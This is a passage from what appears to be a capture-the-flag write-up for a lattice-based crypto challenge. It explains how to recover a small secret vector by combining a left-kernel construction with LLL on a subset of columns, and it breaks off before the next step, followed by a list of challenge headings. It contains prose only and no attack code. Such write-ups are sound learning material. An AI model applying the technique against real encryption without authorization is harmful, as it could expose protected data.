Obviously, you can't directly solve for $S$ , so the key to this challenge should be related to the encryption part, i.e., whether you can find $c$ .

My approach is to first use $cA$ to solve for an $s$ that satisfies $sA=cA$ , but $A$ is obviously not full rank, so it has a left kernel $K \in \mathbb{F}_q^{(m-n) \times m}$ with rank $m-n=100$ . By definition, for the row vector $K_i$ of $K$ , $(s+tK_i)A=cA$ holds, and since $c$ is very small, you should be able to use $\operatorname{CVP}(K, s)$ to find a vector $t$ , and $t-s$ or $t-s$ is $c$ .

First, you can't use Babai CVP here, because even ignoring the time it takes to do LLL on such a large matrix, the Gram-Schmidt process it needs to do afterward is even slower. So I directly built a lattice like this:

L= \begin{bmatrix} K \\ s \\ qI \end{bmatrix}

Obviously, $c$ is a short vector in $L$ , but $L$ is a $(m-n+1+m) \times m$ matrix, and doing LLL on it would take a lot of time. In my tests, it took 2hr 40min, so a better method is needed.

After some testing, I found that you don't need to do LLL on the entire $L$ , just selecting $t$ columns and doing LLL on them will also yield the shortest vector for those columns of $c$ . So the key here is to choose a good $t$ to balance performance and correctness. If $t$ is too large, it will be slow; if $t$ is too small, the target might not be the shortest vector, or LLL might not find it. I finally chose $t=150$ , which took about 20 seconds.

Next, I found

Web#

recursive-csp#

scorescope#

*codebox#

Crypto#

Provably Secure#

Provably Secure 2#

rSabin#

BBBB#

seaside#

membrane#

Web